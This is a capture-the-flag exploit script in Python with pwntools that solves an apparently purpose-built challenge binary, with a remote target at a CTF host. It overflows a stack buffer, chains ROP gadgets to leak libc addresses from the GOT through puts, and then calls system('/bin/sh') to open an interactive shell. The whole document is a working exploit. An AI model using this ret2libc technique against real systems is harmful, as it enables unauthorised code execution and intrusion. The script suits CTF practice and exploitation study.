Source
Solution
#!/usr/bin/env python3
from pwn import *
#import time
#from termcolor import colored
#from tqdm import tqdm
elf = ELF("./chall_patched")
libc = ELF("./libc6_2.41-6ubuntu1.1_amd64.so")
ld = ELF("./ld-2.41.so")
rop = ROP(elf)
context.binary = elf
#context.log_level = "debug"
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
handle SIGALRM noprint nostop nopass
b *0x401223
"""
def find_offset():
r = process([elf.path])
gdb.attach(r)
p = cyclic(1000)
r.sendline(p)
r.interactive()
def conn():
if args.REMOTE:
r = remote("chall.v1t.site", 30211)
elif args.GDB:
r = gdb.debug([elf.path], gdbscript=dbginit)
else:
r = process([elf.path])
return r
def leak_addr():
offset = 136 * b'i'
# mov edx, 0x3e8
# mov rsi, rax
# mov edi, 0
# call read
read = 0x401216
# ret
ret = 0x4011f0
# pop rax
# ret
rax = 0x4011ef
# pop rbp
# ret
rbp = 0x40117d
# jmp rax
jmp_rax = 0x40114e
# puts
puts = 0x40120a
addr_puts = 0x403fd0
addr_setbuf = 0x403fd8
addr_read = 0x403fe8
addr_libc_start_main = 0x403ff0
addr_rbp = 0x404200
payload = offset
payload += p64(rbp)
payload += p64(addr_rbp)
payload += p64(rax)
payload += p64(addr_puts)
payload += p64(puts)
r = conn()
r.recvuntil("Quack off, I’m debugging my reflection in the pond.\n".encode("utf-8"))
r.sendline(payload)
addr_puts = u64(r.recv(6).ljust(8,b'\0'))
r.clean()
r.close()
payload = offset
payload += p64(rbp)
payload += p64(addr_rbp)
payload += p64(rax)
payload += p64(addr_setbuf)
payload += p64(puts)
r = conn()
r.recvuntil("Quack off, I’m debugging my reflection in the pond.\n".encode("utf-8"))
r.sendline(payload)
addr_setbuf = u64(r.recv(6).ljust(8,b'\0'))
r.clean()
r.close()
payload = offset
payload += p64(rbp)
payload += p64(addr_rbp)
payload += p64(rax)
payload += p64(addr_read)
payload += p64(puts)
r = conn()
r.recvuntil("Quack off, I’m debugging my reflection in the pond.\n".encode("utf-8"))
r.sendline(payload)
addr_read = u64(r.recv(6).ljust(8,b'\0'))
r.clean()
r.close()
payload = offset
payload += p64(rbp)
payload += p64(addr_rbp)
payload += p64(rax)
payload += p64(addr_libc_start_main)
payload += p64(puts)
r = conn()
r.recvuntil("Quack off, I’m debugging my reflection in the pond.\n".encode("utf-8"))
r.sendline(payload)
addr_libc_start_main = u64(r.recv(6).ljust(8,b'\0'))
r.clean()
r.close()
print(f"puts: {hex(addr_puts)}")
print(f"setbuf: {hex(addr_setbuf)}")
print(f"read: {hex(addr_read)}")
print(f"libc_start_main: {hex(addr_libc_start_main)}")
def main():
offset = 136 * b'i'
# ret
ret = 0x4011f0
# pop rax
# ret
rax = 0x4011ef
# pop rbp
# ret
rbp = 0x40117d
# jmp rax
jmp_rax = 0x40114e
# puts
puts = 0x40120a
addr_rbp = 0x404a00
addr_puts = 0x403fd0
payload = offset
payload += p64(rbp)
payload += p64(addr_rbp)
payload += p64(rax)
payload += p64(addr_puts)
payload += p64(puts)
r = conn()
r.recvuntil("Quack off, I’m debugging my reflection in the pond.\n".encode("utf-8"))
r.sendline(payload)
addr_puts = u64(r.recvuntil(b'\n', drop=True).ljust(8,b'\0'))
libc.address = addr_puts - libc.sym["puts"]
addr_system = libc.sym["system"]
pop_rdi = libc.address + 0x119fdc
addr_binsh = next(libc.search(b"/bin/sh"))
payload = offset
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(addr_binsh)
payload += p64(addr_system)
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()